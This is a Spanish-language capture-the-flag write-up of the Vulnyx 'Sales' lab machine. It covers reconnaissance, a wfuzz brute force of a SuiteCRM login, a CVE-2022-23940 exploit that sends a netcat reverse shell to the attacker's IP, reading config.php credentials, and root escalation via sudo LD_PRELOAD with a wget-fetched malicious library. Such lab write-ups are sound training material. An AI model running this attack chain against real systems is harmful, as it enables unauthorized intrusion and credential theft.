Write-up: Máquina Sales (Vulnyx)
Comenzamos con averiguar la dirección IP de la Máquina Victima, para ello primeramente utilizaremos la herramienta netdiscover, para ello ejecutamos el siguiente comando:
$ netdiscover -i eth1 -r 10.0.2.0/24
- Kali (Máquina Atacante): 10.0.2.4
- Máquina Victima: 10.0.2.76
Comprobamos si tenemos conexión con la Máquina Victima, para ello ejecutamos el siguiente comando:
$ ping -c 1 10.0.2.76
Como se puede comprobar por el TTL nos enfrentamos a una Máquina Linux.
A continuación, realizamos con la herramienta nmap un reconocimiento de los servicios, para ello ejecutamos el siguiente comando:
$ nmap -Pn -p- 10.0.2.76 -sVC
Como podemos comprobar la Máquina Victima tiene abiertos los puertos 22 y 80 y nos muestra el dominio sales.nyx, Lo agregamos al archivo /etc/hosts, para ello ejecutamos el siguiente comando:
$ nano /etc/host
Comprobamos que es lo que corre en el dominio.
Investigamos en todos los apartados de la pagina web.
En el apartado TEAM nos encontramos que hay cuatro trabajadores con sus respectivos nombres, por lo tanto nos creamos un diccionario con dichos nombres, para ello ejecutamos el siguiente comando:
$ nano user.txt
A continuación, realizamos con la herramienta gobuster un fuzzing web por subdominios, para ello ejecutamos el siguiente comando:
$ gobuster vhost -u http://sales.nyx -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --append-domain --follow-redirect
Encontramos el subdominio crm.sales.nyx.
Lo agregamos también al archivo /etc/hosts, para ello ejecutamos el siguiente comando:
$ nano /etc/hosts
Accedemos al subdominio encontrado.
Encontramos un login.
A continuación, con la ayuda de la herramienta username-anarchy, nos descargamos la herramienta y creamos un diccionario de usuarios con los usuarios obtenidos anteriormente, para ello ejecutamos los siguientes comandos:
$ git clone https://github.com/urbanadventurer/username-anarchy.git
$ cd username-anarchy
$ ./username-anarchy --input-file ../users.txt > ../users.dic
Con la ayuda de la herramienta cewl nos creamos un diccionario de palabras de la pagina web, para ello ejecutamos el siguiente comando:
$ cewl http://sales.nyx -w pass.dic
Interceptamos la petición del inicio de sesión con Burpsuite para capturar la data de la peticion POST.
A continuación, con la ayuda de la herramienta wfuzz lanzamos un ataque de fuerza bruta contra un formulario de login, para ello ejecutamos el siguiente comando:
$ wfuzz -c -u 'http://crm.sales.nyx/index.php' -w users.dic -w pass.dic -d 'module=Users&action=Authenticate&return_module=Users&return_action=Login&cant_login=&login_module=&login_action=&login_record=&login_token=&login_oauth_token=&login_mobile=&user_name=FUZZ&username_password=FUZ2Z&Login=Log+In' -L --hh=11570
Obtenemos las credenciales yuna.yoon:AksisDesign.
Accedemos con las credenciales obtenidas.
A través de la opción About, obtenemos la versión SuiteCRM 7.12.4, por lo tanto, hacemos una búsqueda por internet de algún exploit para esta versión.
Encontramos este exploit en github, nos lo descargamos, para ello ejecutamos el siguiente comando:
$ git clone https://github.com/manuelz120/CVE-2022-23940.git
A continuación, instalamos los requerimientos que necesitamos, para ello ejecutamos los siguientes comandos:
$ python3 -m venv crm
$ source crm/bin/activate
$ pip install -r "requirements.txt"
En nuestra terminal de nuestra Máquina Atacante y con la ayuda de la herramienta de netcat (nc) nos ponemos a la escucha por el puerto 443 por donde vamos a recibir la conexión, para ello ejecutamos el siguiente comando:
$ nc -lvnp 443
Ejecutamos el exploit, para ello ejecutamos el siguiente comando:
$ python3 exploit.py -h http://crm.sales.nyx -u yuna.yoon -p AksisDesign --payload "busybox nc 10.0.2.4 443 -e /bin/bash"
Obtenemos una shell como www-data.
Hacemos un tratamiento de la TTY para obtener una shell interactiva y así evitar problemas, para ello ejecutamos los siguientes comandos:
$ script /dev/null -c bash
Ctrl + Z
$ stty raw -echo;fg
$ reset xterm
$ export TERM=xterm
Visualizamos el fichero /etc/passwd, para ello ejecutamos el siguiente comando:
$ cat /etc/passwd
Vemos que existe el usuario eve que tiene su directorio /home personal y como predeterminada la shell /bin/bash.
Inspeccionamos el archivo config.php de la instalación de SuiteCRM, el cual se encuentra en /var/www/suitecrm, para ello ejecutamos el siguiente comando:
$ cat config.php
Encontramos la credencial Ev3*CRm_DBaS3.
Nos cambiamos al usuario eve, para ello ejecutamos el siguiente comando:
$ su eve
Escribimos la credencial obtenida anteriormente.
¡¡¡Somos eve!!!
Enumeramos los permisos sudo, para ello ejecutamos el siguiente comando:
$ sudo -l
Nos encontramos con el binario ping que lo podemos ejecutar como el usuario root, tambien disponemos de la variable de entorno LD_PRELOAD para lograr persistencia al invocar sudo, por lo tanto, desarrollamos una biblioteca compartida diseñada para sobrescribir funciones clave usando esta variable para cargar nuestra biblioteca maliciosa antes que las bibliotecas del sistema. Al correr sudo /bin/ping, el sistema cargará nuestra biblioteca maliciosa debido a LD_PRELOAD, permitiéndonos ejecutar código arbitrario con privilegios de root, para ello ejecutamos el siguiente comando:
$ nano shell.c
La compilamos, para ello ejecutamos el siguiente comando:
$ gcc -fPIC -shared -o shell.so shell.c -nostartfiles
Nos montamos un servidor HTTP con python, para ello ejecutamos el siguiente comando:
$ python3 -m http.server 80
En la Máquina Victima nos descargamos la libreria maliciosa dentro del directorio /dev/shm, para ello ejecutamos el siguiente comando:
$ wget http://10.0.2.4/shell.so
Ejecutamos el binario ping como el usuario root cargando la libreria maliciosa, para ello ejecutamos el siguiente comando:
$ sudo -u root LD_PRELOAD=/dev/shm/shell.so /bin/ping


















